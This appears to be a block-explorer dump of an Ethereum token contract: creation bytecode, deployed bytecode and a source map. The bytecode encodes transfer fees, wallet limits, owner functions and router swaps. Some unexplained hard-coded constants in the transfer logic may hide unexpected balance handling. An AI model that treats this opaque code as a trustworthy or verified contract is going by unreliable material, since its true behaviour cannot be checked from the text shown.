b40565b50506001821b62000753565b5060208310610133831016604e8410600b841016171562000ab6575081810a62000753565b62000ac28383620009d9565b806000190482111562000ad95762000ad962000b40565b029392505050565b600081600019048311821515161562000afe5762000afe62000b40565b500290565b600181811c9082168062000b1857607f821691505b6020821081141562000b3a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c60a05160601c611a5a62000b90600039600081816102b401526109470152600081816103ca01526109820152611a5a6000f3fe60806040526004361061026b5760003560e01c8063807c2d9c11610144578063c816841b116100b6578063dc44b6a01161007a578063dc44b6a014610760578063dd62ed3e14610776578063f0cd1dac146107bc578063f2fde38b146107d2578063f680f799146107f2578063f872858a1461080857600080fd5b8063c816841b146106c3578063c867d60b146106e3578063d1dffbf714610713578063d2d7ad8314610729578063da00097d1461073f57600080fd5b806395d89b411161010857806395d89b411461061857806398e944c81461062d578063a457c2d71461064d578063a9059cbb1461066d578063b115e4df1461068d578063c5d24189146106ad57600080fd5b8063807c2d9c1461058857806382eefb431461059e57806388790a68146105b45780638b42507f146105ca5780638da5cb5b146105fa57600080fd5b806333818b59116101dd57806368614a74116101a157806368614a74146104cf578063701cf6f4146104ef57806370a0823114610505578063715018a61461053b5780637ae2b5c7146105525780637d1db4a51461057257600080fd5b806333818b591461042357806339509351146104395780633ecad271146104595780635194f9bf146104895780635342acb41461049f57600080fd5b806318160ddd1161022f57806318160ddd1461036357806323555d571461038257806323b872dd1461039857806327c8f835146103b85780632b112e49146103ec578063313ce5671461040157600080fd5b806306fdde03146102775780630930907b146102a2578063095ea7b3146102ee5780630f16f01d1461031e5780631694505e1461034357600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c610829565b6040516102999190611822565b60405180910390f35b3480156102ae57600080fd5b506102d67f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610299565b3480156102fa57600080fd5b5061030e6103093660046117bb565b6108bb565b6040519015158152602001610299565b34801561032a57600080fd5b506003546102d69061010090046001600160a01b031681565b34801561034f57600080fd5b506015546102d6906001600160a01b031681565b34801561036f57600080fd5b506011545b604051908152602001610299565b34801561038e57600080fd5b50610374601c5481565b3480156103a457600080fd5b5061030e6103b336600461177a565b6108d2565b3480156103c457600080fd5b506102d67f000000000000000000000000000000000000000000000000000000000000000081565b3480156103f857600080fd5b5061037461093d565b34801561040d57600080fd5b5060035460405160ff9091168152602001610299565b34801561042f57600080fd5b50610374601e5481565b34801561044557600080fd5b5061030e6104543660046117bb565b6109d0565b34801561046557600080fd5b5061030e610474366004611707565b600e6020526000908152604090205460ff1681565b34801561049557600080fd5b5061037460195481565b3480156104ab57600080fd5b5061030e6104ba366004611707565b600d6020526000908152604090205460ff1681565b3480156104db57600080fd5b506103746104ea3660046117e7565b610a06565b3480156104fb57600080fd5b5061037460185481565b34801561051157600080fd5b50610374610520366004611707565b6001600160a01b031660009081526006602052604090205490565b34801561054757600080fd5b50610550610a1d565b005b34801561055e57600080fd5b5061037461056d366004611800565b610acc565b34801561057e57600080fd5b5061037460135481565b34801561059457600080fd5b5061037460145481565b3480156105aa57600080fd5b5061037460205481565b3480156105c057600080fd5b5061037460175481565b3480156105d657600080fd5b5061030e6105e5366004611707565b60106020526000908152604090205460ff1681565b34801561060657600080fd5b506000546001600160a01b03166102d6565b34801561062457600080fd5b5061028c610ae4565b34801561063957600080fd5b506005546102d6906001600160a01b031681565b34801561065957600080fd5b5061030e6106683660046117bb565b610af3565b34801561067957600080fd5b5061030e6106883660046117bb565b610b42565b34801561069957600080fd5b506004546102d6906001600160a01b031681565b3480156106b957600080fd5b50610374601b5481565b3480156106cf57600080fd5b506016546102d6906001600160a01b031681565b3480156106ef57600080fd5b5061030e6106fe366004611707565b600f6020526000908152604090205460ff1681565b34801561071f57600080fd5b50610374601d5481565b34801561073557600080fd5b5061037460125481565b34801561074b57600080fd5b5060165461030e90600160a81b900460ff1681565b34801561076c57600080fd5b50610374601a5481565b34801561078257600080fd5b50610374610791366004611741565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156107c857600080fd5b50610374601f5481565b3480156107de57600080fd5b506105506107ed366004611707565b610b4f565b3480156107fe57600080fd5b5061037460085481565b34801561081457600080fd5b5060165461030e90600160b01b900460ff1681565b60606001805461083890611958565b80601f016020809104026020016040519081016040528092919081815260200182805461086490611958565b80156108b15780601f10610886576101008083540402835291602001916108b1565b820191906000526020600020905b81548152906001019060200180831161089457829003601f168201915b5050505050905090565b60006108c8338484610d89565b5060015b92915050565b60006108df848484610ead565b50610932843361092d856040518060600160405280602881526020016119d8602891396001600160a01b038a16600090815260076020908152604080832033845290915290205491906112ba565b610d89565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600660205260408120546109cb906109c56109bc7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526006602052604090205490565b601154906112f4565b906112f4565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916108c891859061092d9086610d2a565b60098160048110610a1657600080fd5b0154905081565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b600081831115610add5750806108cc565b5090919050565b60606002805461083890611958565b60006108c8338461092d85604051806060016040528060258152602001611a00602591393360009081526007602090815260408083206001600160a01b038d16845290915290205491906112ba565b6000610932338484610ead565b6000546001600160a01b03163314610ba95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a73565b6001600160a01b038116610c0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a73565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082610c78575060006108cc565b6000610c848385611922565b905082610c918583611900565b146109365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a73565b600061093683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611336565b600080610d3783856118e8565b9050838110156109365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a73565b6001600160a01b038316610deb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a73565b6001600160a01b038216610e4c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a73565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a73565b6001600160a01b038316610f755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a73565b601654600160a01b900460ff1615610f9957610f92848484611364565b9050610936565b6001600160a01b03841660009081526010602052604090205460ff16158015610fdb57506001600160a01b03831660009081526010602052604090205460ff16155b15611043576013548211156110435760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a73565b30600090815260066020526040902054601254811080159081906110715750601654600160a01b900460ff16155b801561109657506001600160a01b0386166000908152600e602052604090205460ff16155b156110bc57601654600160a81b900460ff16156110b35760125491505b6110bc826114c9565b601654600160b01b900460ff1680156110ee57506001600160a01b0385166000908152600f602052604090205460ff16155b156111955760145461113961111a61271061111460205489610c6990919063ffffffff16565b90610ce8565b6001600160a01b03881660009081526006602052604090205490610d2a565b11156111955760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a73565b6111b061271061111460205487610c6990919063ffffffff16565b600c556020546111c99061271090611114908790610c69565b6111d39085611941565b600b556001600160a01b03861660009081526010602052604090205460ff16158061121757506001600160a01b03851660009081526010602052604090205460ff16155b8061125c57506001600160a01b0385166000908152600e602052604090205460ff168061125c57506001600160a01b0386166000908152600e602052604090205460ff165b1561127f57608d601d600082825461127491906118e8565b909155506112a39050565b6072601d600082825461129291906118e8565b9182905550601e55506112a361153d565b6112ae868686611364565b50600192505050610936565b600081848411156112de5760405162461bcd60e51b8152600401610a739190611822565b5060006112eb8486611941565b95945050505050565b600061093683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ba565b600081836113575760405162461bcd60e51b8152600401610a739190611822565b5060006112eb8486611900565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526006909152918220546113b59184906112ba565b6001600160a01b038516600090815260066020526040902055601654600160a01b900460ff16156113eb57600b8290556000600c555b60006114126009600201547402ab220c60846ea4b36d5333735bf18fc00000000019610acc565b6001600160a01b0385166000908152600660205260409020549091506114389082610d2a565b6001600160a01b03851660009081526006602052604080822092909255600c543082529190205461146891610d2a565b3060009081526006602090815260409182902092909255518481526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506001949350505050565b6016805460ff60a01b1916600160a01b1790556114e581611583565b47801561152c576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561152a573d6000803e3d6000fd5b505b50506016805460ff60a01b19169055565b6001601d54601161154e91906118e8565b6115589190611941565b601e556b04c8435db0e1815ea4c673fc6009600301600082825461157c91906118e8565b9091555050565b6040805160028082526060820183526000926020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156115e857600080fd5b505afa1580156115fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116209190611724565b81600181518110611633576116336119a9565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600081518110611667576116676119a9565b6001600160a01b039283166020918202929092010152601d8054601e55601190556015546116989130911684610d89565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906116d1908590600090869030904290600401611877565b600060405180830381600087803b1580156116eb57600080fd5b505af11580156116ff573d6000803e3d6000fd5b505050505050565b60006020828403121561171957600080fd5b8135610936816119bf565b60006020828403121561173657600080fd5b8151610936816119bf565b6000806040838503121561175457600080fd5b823561175f816119bf565b9150602083013561176f816119bf565b809150509250929050565b60008060006060848603121561178f57600080fd5b833561179a816119bf565b925060208401356117aa816119bf565b929592945050506040919091013590565b600080604083850312156117ce57600080fd5b82356117d9816119bf565b946020939093013593505050565b6000602082840312156117f957600080fd5b5035919050565b6000806040838503121561181357600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561184f57858101830151858201604001528201611833565b81811115611861576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118c75784516001600160a01b0316835293830193918301916001016118a2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118fb576118fb611993565b500190565b60008261191d57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561193c5761193c611993565b500290565b60008282101561195357611953611993565b500390565b600181811c9082168061196c57607f821691505b6020821081141561198d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146119d457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122028583ff3453da68d07166a7ef8fd66030ee21404cc6e6700045463447a451f5464736f6c63430008060033

Deployed Bytecode

0x60806040526004361061026b5760003560e01c8063807c2d9c11610144578063c816841b116100b6578063dc44b6a01161007a578063dc44b6a014610760578063dd62ed3e14610776578063f0cd1dac146107bc578063f2fde38b146107d2578063f680f799146107f2578063f872858a1461080857600080fd5b8063c816841b146106c3578063c867d60b146106e3578063d1dffbf714610713578063d2d7ad8314610729578063da00097d1461073f57600080fd5b806395d89b411161010857806395d89b411461061857806398e944c81461062d578063a457c2d71461064d578063a9059cbb1461066d578063b115e4df1461068d578063c5d24189146106ad57600080fd5b8063807c2d9c1461058857806382eefb431461059e57806388790a68146105b45780638b42507f146105ca5780638da5cb5b146105fa57600080fd5b806333818b59116101dd57806368614a74116101a157806368614a74146104cf578063701cf6f4146104ef57806370a0823114610505578063715018a61461053b5780637ae2b5c7146105525780637d1db4a51461057257600080fd5b806333818b591461042357806339509351146104395780633ecad271146104595780635194f9bf146104895780635342acb41461049f57600080fd5b806318160ddd1161022f57806318160ddd1461036357806323555d571461038257806323b872dd1461039857806327c8f835146103b85780632b112e49146103ec578063313ce5671461040157600080fd5b806306fdde03146102775780630930907b146102a2578063095ea7b3146102ee5780630f16f01d1461031e5780631694505e1461034357600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c610829565b6040516102999190611822565b60405180910390f35b3480156102ae57600080fd5b506102d67f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610299565b3480156102fa57600080fd5b5061030e6103093660046117bb565b6108bb565b6040519015158152602001610299565b34801561032a57600080fd5b506003546102d69061010090046001600160a01b031681565b34801561034f57600080fd5b506015546102d6906001600160a01b031681565b34801561036f57600080fd5b506011545b604051908152602001610299565b34801561038e57600080fd5b50610374601c5481565b3480156103a457600080fd5b5061030e6103b336600461177a565b6108d2565b3480156103c457600080fd5b506102d67f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103f857600080fd5b5061037461093d565b34801561040d57600080fd5b5060035460405160ff9091168152602001610299565b34801561042f57600080fd5b50610374601e5481565b34801561044557600080fd5b5061030e6104543660046117bb565b6109d0565b34801561046557600080fd5b5061030e610474366004611707565b600e6020526000908152604090205460ff1681565b34801561049557600080fd5b5061037460195481565b3480156104ab57600080fd5b5061030e6104ba366004611707565b600d6020526000908152604090205460ff1681565b3480156104db57600080fd5b506103746104ea3660046117e7565b610a06565b3480156104fb57600080fd5b5061037460185481565b34801561051157600080fd5b50610374610520366004611707565b6001600160a01b031660009081526006602052604090205490565b34801561054757600080fd5b50610550610a1d565b005b34801561055e57600080fd5b5061037461056d366004611800565b610acc565b34801561057e57600080fd5b5061037460135481565b34801561059457600080fd5b5061037460145481565b3480156105aa57600080fd5b5061037460205481565b3480156105c057600080fd5b5061037460175481565b3480156105d657600080fd5b5061030e6105e5366004611707565b60106020526000908152604090205460ff1681565b34801561060657600080fd5b506000546001600160a01b03166102d6565b34801561062457600080fd5b5061028c610ae4565b34801561063957600080fd5b506005546102d6906001600160a01b031681565b34801561065957600080fd5b5061030e6106683660046117bb565b610af3565b34801561067957600080fd5b5061030e6106883660046117bb565b610b42565b34801561069957600080fd5b506004546102d6906001600160a01b031681565b3480156106b957600080fd5b50610374601b5481565b3480156106cf57600080fd5b506016546102d6906001600160a01b031681565b3480156106ef57600080fd5b5061030e6106fe366004611707565b600f6020526000908152604090205460ff1681565b34801561071f57600080fd5b50610374601d5481565b34801561073557600080fd5b5061037460125481565b34801561074b57600080fd5b5060165461030e90600160a81b900460ff1681565b34801561076c57600080fd5b50610374601a5481565b34801561078257600080fd5b50610374610791366004611741565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156107c857600080fd5b50610374601f5481565b3480156107de57600080fd5b506105506107ed366004611707565b610b4f565b3480156107fe57600080fd5b5061037460085481565b34801561081457600080fd5b5060165461030e90600160b01b900460ff1681565b60606001805461083890611958565b80601f016020809104026020016040519081016040528092919081815260200182805461086490611958565b80156108b15780601f10610886576101008083540402835291602001916108b1565b820191906000526020600020905b81548152906001019060200180831161089457829003601f168201915b5050505050905090565b60006108c8338484610d89565b5060015b92915050565b60006108df848484610ead565b50610932843361092d856040518060600160405280602881526020016119d8602891396001600160a01b038a16600090815260076020908152604080832033845290915290205491906112ba565b610d89565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600660205260408120546109cb906109c56109bc7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526006602052604090205490565b601154906112f4565b906112f4565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916108c891859061092d9086610d2a565b60098160048110610a1657600080fd5b0154905081565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b600081831115610add5750806108cc565b5090919050565b60606002805461083890611958565b60006108c8338461092d85604051806060016040528060258152602001611a00602591393360009081526007602090815260408083206001600160a01b038d16845290915290205491906112ba565b6000610932338484610ead565b6000546001600160a01b03163314610ba95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a73565b6001600160a01b038116610c0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a73565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082610c78575060006108cc565b6000610c848385611922565b905082610c918583611900565b146109365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a73565b600061093683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611336565b600080610d3783856118e8565b9050838110156109365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a73565b6001600160a01b038316610deb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a73565b6001600160a01b038216610e4c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a73565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a73565b6001600160a01b038316610f755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a73565b601654600160a01b900460ff1615610f9957610f92848484611364565b9050610936565b6001600160a01b03841660009081526010602052604090205460ff16158015610fdb57506001600160a01b03831660009081526010602052604090205460ff16155b15611043576013548211156110435760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a73565b30600090815260066020526040902054601254811080159081906110715750601654600160a01b900460ff16155b801561109657506001600160a01b0386166000908152600e602052604090205460ff16155b156110bc57601654600160a81b900460ff16156110b35760125491505b6110bc826114c9565b601654600160b01b900460ff1680156110ee57506001600160a01b0385166000908152600f602052604090205460ff16155b156111955760145461113961111a61271061111460205489610c6990919063ffffffff16565b90610ce8565b6001600160a01b03881660009081526006602052604090205490610d2a565b11156111955760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a73565b6111b061271061111460205487610c6990919063ffffffff16565b600c556020546111c99061271090611114908790610c69565b6111d39085611941565b600b556001600160a01b03861660009081526010602052604090205460ff16158061121757506001600160a01b03851660009081526010602052604090205460ff16155b8061125c57506001600160a01b0385166000908152600e602052604090205460ff168061125c57506001600160a01b0386166000908152600e602052604090205460ff165b1561127f57608d601d600082825461127491906118e8565b909155506112a39050565b6072601d600082825461129291906118e8565b9182905550601e55506112a361153d565b6112ae868686611364565b50600192505050610936565b600081848411156112de5760405162461bcd60e51b8152600401610a739190611822565b5060006112eb8486611941565b95945050505050565b600061093683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ba565b600081836113575760405162461bcd60e51b8152600401610a739190611822565b5060006112eb8486611900565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526006909152918220546113b59184906112ba565b6001600160a01b038516600090815260066020526040902055601654600160a01b900460ff16156113eb57600b8290556000600c555b60006114126009600201547402ab220c60846ea4b36d5333735bf18fc00000000019610acc565b6001600160a01b0385166000908152600660205260409020549091506114389082610d2a565b6001600160a01b03851660009081526006602052604080822092909255600c543082529190205461146891610d2a565b3060009081526006602090815260409182902092909255518481526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506001949350505050565b6016805460ff60a01b1916600160a01b1790556114e581611583565b47801561152c576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561152a573d6000803e3d6000fd5b505b50506016805460ff60a01b19169055565b6001601d54601161154e91906118e8565b6115589190611941565b601e556b04c8435db0e1815ea4c673fc6009600301600082825461157c91906118e8565b9091555050565b6040805160028082526060820183526000926020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156115e857600080fd5b505afa1580156115fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116209190611724565b81600181518110611633576116336119a9565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600081518110611667576116676119a9565b6001600160a01b039283166020918202929092010152601d8054601e55601190556015546116989130911684610d89565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906116d1908590600090869030904290600401611877565b600060405180830381600087803b1580156116eb57600080fd5b505af11580156116ff573d6000803e3d6000fd5b505050505050565b60006020828403121561171957600080fd5b8135610936816119bf565b60006020828403121561173657600080fd5b8151610936816119bf565b6000806040838503121561175457600080fd5b823561175f816119bf565b9150602083013561176f816119bf565b809150509250929050565b60008060006060848603121561178f57600080fd5b833561179a816119bf565b925060208401356117aa816119bf565b929592945050506040919091013590565b600080604083850312156117ce57600080fd5b82356117d9816119bf565b946020939093013593505050565b6000602082840312156117f957600080fd5b5035919050565b6000806040838503121561181357600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561184f57858101830151858201604001528201611833565b81811115611861576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118c75784516001600160a01b0316835293830193918301916001016118a2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118fb576118fb611993565b500190565b60008261191d57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561193c5761193c611993565b500290565b60008282101561195357611953611993565b500390565b600181811c9082168061196c57607f821691505b6020821081141561198d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146119d457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122028583ff3453da68d07166a7ef8fd66030ee21404cc6e6700045463447a451f5464736f6c63430008060033

Deployed Bytecode Sourcemap

11628:10029:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15586:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12168:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2298:32:1;;;2280:51;;2268:2;2253:18;12168:81:0;2235:102:1;16704:161:0;;;;;;;;;;-1:-1:-1;16704:161:0;;;;;:::i;:::-;;:::i;:::-;;;2731:14:1;;2724:22;2706:41;;2694:2;2679:18;16704:161:0;2661:92:1;11839:96:0;;;;;;;;;;-1:-1:-1;11839:96:0;;;;;;;-1:-1:-1;;;;;11839:96:0;;;13035:41;;;;;;;;;;-1:-1:-1;13035:41:0;;;;-1:-1:-1;;;;;13035:41:0;;;15845:100;;;;;;;;;;-1:-1:-1;15925:12:0;;15845:100;;;7700:25:1;;;7688:2;7673:18;15845:100:0;7655:76:1;13460:35:0;;;;;;;;;;;;;;;;17762:313;;;;;;;;;;-1:-1:-1;17762:313:0;;;;;:::i;:::-;;:::i;12080:81::-;;;;;;;;;;;;;;;17203:156;;;;;;;;;;;;;:::i;15760:83::-;;;;;;;;;;-1:-1:-1;15826:9:0;;15760:83;;15826:9;;;;8863:36:1;;8851:2;8836:18;15760:83:0;8818:87:1;13544:45:0;;;;;;;;;;;;;;;;16213:218;;;;;;;;;;-1:-1:-1;16213:218:0;;;;;:::i;:::-;;:::i;12563:45::-;;;;;;;;;;-1:-1:-1;12563:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13333:36;;;;;;;;;;;;;;;;12506:50;;;;;;;;;;-1:-1:-1;12506:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12419:70;;;;;;;;;;-1:-1:-1;12419:70:0;;;;;:::i;:::-;;:::i;13293:33::-;;;;;;;;;;;;;;;;15947:119;;;;;;;;;;-1:-1:-1;15947:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16040:18:0;16013:7;16040:18;;;:9;:18;;;;;;;15947:119;3311:230;;;;;;;;;;;;;:::i;:::-;;19947:109;;;;;;;;;;-1:-1:-1;19947:109:0;;;;;:::i;:::-;;:::i;12889:59::-;;;;;;;;;;;;;;;;12961:58;;;;;;;;;;;;;;;;13635:33;;;;;;;;;;;;;;;;13250:36;;;;;;;;;;;;;;;;12680:48;;;;;;;;;;-1:-1:-1;12680:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3086:79;;;;;;;;;;-1:-1:-1;3124:7:0;3151:6;-1:-1:-1;;;;;3151:6:0;3086:79;;15671:87;;;;;;;;;;;;;:::i;12035:32::-;;;;;;;;;;-1:-1:-1;12035:32:0;;;;-1:-1:-1;;;;;12035:32:0;;;16433:269;;;;;;;;;;-1:-1:-1;16433:269:0;;;;;:::i;:::-;;:::i;17589:167::-;;;;;;;;;;-1:-1:-1;17589:167:0;;;;;:::i;:::-;;:::i;11942:86::-;;;;;;;;;;-1:-1:-1;11942:86:0;;;;-1:-1:-1;;;;;11942:86:0;;;13418:35;;;;;;;;;;;;;;;;13083:26;;;;;;;;;;-1:-1:-1;13083:26:0;;;;-1:-1:-1;;;;;13083:26:0;;;12621:52;;;;;;;;;;-1:-1:-1;12621:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13502:35;;;;;;;;;;;;;;;;12801:70;;;;;;;;;;;;;;;;13152:45;;;;;;;;;;-1:-1:-1;13152:45:0;;;;-1:-1:-1;;;13152:45:0;;;;;;13376:35;;;;;;;;;;;;;;;;16068:143;;;;;;;;;;-1:-1:-1;16068:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16176:18:0;;;16149:7;16176:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16068:143;13596:32;;;;;;;;;;;;;;;;3543:244;;;;;;;;;;-1:-1:-1;3543:244:0;;;;;:::i;:::-;;:::i;12381:31::-;;;;;;;;;;;;;;;;13206:35;;;;;;;;;;-1:-1:-1;13206:35:0;;;;-1:-1:-1;;;13206:35:0;;;;;;15586:83;15623:13;15656:5;15649:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15586:83;:::o;16704:161::-;16779:4;16796:39;489:10;16819:7;16828:6;16796:8;:39::i;:::-;-1:-1:-1;16853:4:0;16704:161;;;;;:::o;17762:313::-;17860:4;17877:36;17887:6;17895:9;17906:6;17877:9;:36::i;:::-;-1:-1:-1;17924:121:0;17933:6;489:10;17955:89;17993:6;17955:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17955:19:0;;;;;;:11;:19;;;;;;;;489:10;17955:33;;;;;;;;;;:37;:89::i;:::-;17924:8;:121::i;:::-;-1:-1:-1;18063:4:0;17762:313;;;;;;:::o;17203:156::-;-1:-1:-1;;;;;17338:11:0;16040:18;17256:7;16040:18;;;:9;:18;;;;;;17283:68;;:40;17300:22;17310:11;-1:-1:-1;;;;;16040:18:0;16013:7;16040:18;;;:9;:18;;;;;;;15947:119;17300:22;17283:12;;;:16;:40::i;:::-;:44;;:68::i;:::-;17276:75;;17203:156;:::o;16213:218::-;489:10;16301:4;16350:25;;;:11;:25;;